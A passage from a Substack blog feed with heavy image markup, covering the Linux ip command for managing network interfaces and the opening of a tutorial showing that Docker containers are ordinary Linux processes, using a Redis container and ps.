https://substackcdn.com/image/fetch/$s_!CIUp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1272w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Let&#8217;s decode that quickly:</p><ul><li><p>The number (<code>1:</code>, <code>2:</code>) is the interface index.</p></li><li><p><code>lo</code> and <code>enp0s3, enp0s8</code> are interface names.</p></li><li><p>Flags inside <code>&lt; &gt;</code> describe capabilities and state (<code>UP</code>, <code>BROADCAST</code>, <code>MULTICAST</code>, etc.).</p></li><li><p><code>mtu</code> is the <strong>maximum transmission unit</strong>, the largest packet size the interface can handle.</p></li><li><p><code>link/ether</code> shows the MAC address (hardware address).</p></li><li><p>The <code>state</code> tells whether the interface is currently <em>up</em> (active) or <em>down</em>.</p></li></ul><blockquote><p>NOTE</p><p><code>lo</code> is the <strong>loopback</strong> interface, a virtual interface the system uses to talk to itself. It&#8217;s always present and usually stays up.</p></blockquote><p></p><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><p></p><h3>Bringing an Interface Down</h3><p>If you want to temporarily disable a network interface, use:</p><pre><code><code>$ sudo ip link set dev enp0s8 down</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hjed!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hjed!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 424w, https://substackcdn.com/image/fetch/$s_!hjed!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 848w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1272w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hjed!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png" width="1076" height="229" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:229,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:46444,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/178288655?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hjed!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 424w, https://substackcdn.com/image/fetch/$s_!hjed!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 848w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1272w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This shuts down packet transmission and reception on enp0s8 (notice the <strong>state</strong> is <strong>DOWN</strong>). It&#8217;s useful when testing configurations or disabling a specific connection without unplugging cables or removing devices.</p><p>After running it, the interface will no longer appear in <code>ip route show</code> outputs because it&#8217;s considered inactive by the kernel. The routing table only displays routes from active interfaces.</p><h3>Bringing an Interface Up</h3><p>When you bring an interface <em>up</em>, you&#8217;re telling the system that the device should start transmitting and receiving packets.</p><pre><code><code>$ sudo ip link set dev enp0s8 up</code></code></pre><p>This sends a netlink request that transitions the <code>enp0s8</code> interface to an <em>UP</em> state.</p><p>You can verify it:</p><pre><code><code>$ ip  -c link show enp0s8</code></code></pre><p>You should now see the <code>UP</code> flag and <code>state UP</code> in the output.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GdGO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GdGO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 424w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 848w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1272w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GdGO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png" width="1076" height="277" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:277,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:72193,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/178288655?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GdGO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 424w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 848w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1272w, https://substackcdn.com/image/fetch/$s_!GdGO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb0283077-ff7e-4023-9afd-74b7fa4c95a9_1076x277.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And also notice, the interface route is now showing in the routing table.</p><h3>Renaming Interfaces</h3><p>Linux lets you rename interfaces, which can be useful for creating clear and predictable names when working with multiple network connections or during troubleshooting.</p>
      <p>
          <a href="https://blog.sysxplore.com/p/ep1-networking-in-linux-ip-command">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 3: Containers Are Just Linux Processes]]></title><description><![CDATA[In the previous part, we explored how PID namespaces isolate process trees, allowing each container to have its own &#8220;init&#8221; process and private view of running processes.]]></description><link>https://blog.sysxplore.com/p/part-3-containers-are-just-linux</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-3-containers-are-just-linux</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Tue, 04 Nov 2025 16:58:49 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/4e9575fd-027e-44f6-95a8-b1114d4a78a5_876x626.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the previous part, we explored how PID namespaces isolate process trees, allowing each container to have its own &#8220;init&#8221; process and private view of running processes. Now that you understand how process isolation works at the kernel level, let&#8217;s zoom out for a moment.</p><p>Before moving on to network namespaces, it&#8217;s important to grasp a key concept: <strong>containers aren&#8217;t virtual machines or special kernel objects, they&#8217;re just ordinary Linux processes.</strong></p><p>Tools like Docker, Podman, and containerd build on what the Linux kernel already provides. They bundle namespaces, cgroups, and a filesystem view into a single convenient abstraction and call that a <em>container.</em> But underneath, nothing extraordinary happens, the kernel is simply spawning and managing regular processes, just like it always has.</p><p>One of the most appealing things about containers is that you don&#8217;t need to understand how they work under the hood to use them. Tools like Docker provide a simple interface that hides much of the underlying complexity, you can build, run, and stop containers without ever thinking about what happens inside.</p><p>But to truly understand containers, it helps to see what they really are from the system&#8217;s point of view. Since containers rely on Linux kernel features like namespaces and cgroups, we can use ordinary Linux commands to inspect and even interact with them directly, no container tooling required.</p><p>In this part, we&#8217;ll do exactly that. We&#8217;ll use simple Linux tools, commands like ps and the /proc filesystem, to uncover what&#8217;s happening behind Docker&#8217;s abstraction and prove that containers are, in fact, just Linux processes running in isolation.</p><h2>Are Containers Essentially Linux Processes?</h2><p>When you start a container, you&#8217;re not launching a virtual machine or a separate operating system. You&#8217;re simply starting one or more isolated Linux processes.</p><p>Container runtimes like Docker, containerd, or CRI-O achieve this isolation by using  <strong>namespaces</strong> and <strong>control groups (cgroups)</strong>. Namespaces limit what a process can <em>see</em>, its view of PIDs, filesystems, networks, and users, while cgroups limit what a process can <em>use</em>, CPU time, memory, I/O bandwidth, and so on.</p><p>Together, these two mechanisms form the core of containerization. They allow a process to believe it&#8217;s running alone on the system, when in reality it&#8217;s just another process under the same kernel.</p><p>You might be wondering: <em>are containers really just processes?</em> Let&#8217;s confirm that using a few hands-on experiments.</p><p>Before we begin, make sure you have:</p><ul><li><p>A Linux host or virtual machine with Docker installed.</p></li><li><p>Any container image available, we&#8217;ll use Redis for this demonstration.</p></li></ul><p>Let&#8217;s start by pulling the Redis image from Docker Hub:</p><pre><code><code>$ docker pull redis</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iFwa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iFwa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 424w, https://substackcdn.com/image/fetch/$s_!iFwa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 848w, https://substackcdn.com/image/fetch/$s_!iFwa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 1272w, https://substackcdn.com/image/fetch/$s_!iFwa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iFwa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png" width="1037" height="452" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:452,&quot;width&quot;:1037,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:82290,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iFwa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 424w, https://substackcdn.com/image/fetch/$s_!iFwa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 848w, https://substackcdn.com/image/fetch/$s_!iFwa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 1272w, https://substackcdn.com/image/fetch/$s_!iFwa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41a31521-6d6a-48eb-ab0e-4821ebb571b7_1037x452.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Next, check if there are any Redis processes currently running on your host:</p><pre><code><code>$ ps -fC redis-server</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rz8Q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rz8Q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 424w, https://substackcdn.com/image/fetch/$s_!rz8Q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 848w, https://substackcdn.com/image/fetch/$s_!rz8Q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 1272w, https://substackcdn.com/image/fetch/$s_!rz8Q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rz8Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png" width="1037" height="175" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:1037,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:21847,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rz8Q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 424w, https://substackcdn.com/image/fetch/$s_!rz8Q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 848w, https://substackcdn.com/image/fetch/$s_!rz8Q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 1272w, https://substackcdn.com/image/fetch/$s_!rz8Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88384c4e-7d6f-46ae-a779-183f561abbe8_1037x175.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>At this point, there should be no output, since no Redis instance is running yet.</p><p>Now, start a Redis container named <code>redis-demo</code>:</p><pre><code><code>$ docker run --name redis-demo -d redis</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8VyY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8VyY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 424w, https://substackcdn.com/image/fetch/$s_!8VyY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 848w, https://substackcdn.com/image/fetch/$s_!8VyY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 1272w, https://substackcdn.com/image/fetch/$s_!8VyY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8VyY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png" width="1037" height="175" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:1037,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26913,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177988455?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8VyY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 424w, https://substackcdn.com/image/fetch/$s_!8VyY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 848w, https://substackcdn.com/image/fetch/$s_!8VyY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 1272w, https://substackcdn.com/image/fetch/$s_!8VyY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b11c971-c27c-4c2c-bf1b-5de0b48539e0_1037x175.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Once it&#8217;s up, run the same <code>ps</code> command again:</p><pre><code><code>$ ps -fC redis-server</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vqR7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vqR7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4721cb80-f74e-40a7-8692-1de66903f497_1037x175.png 424w, 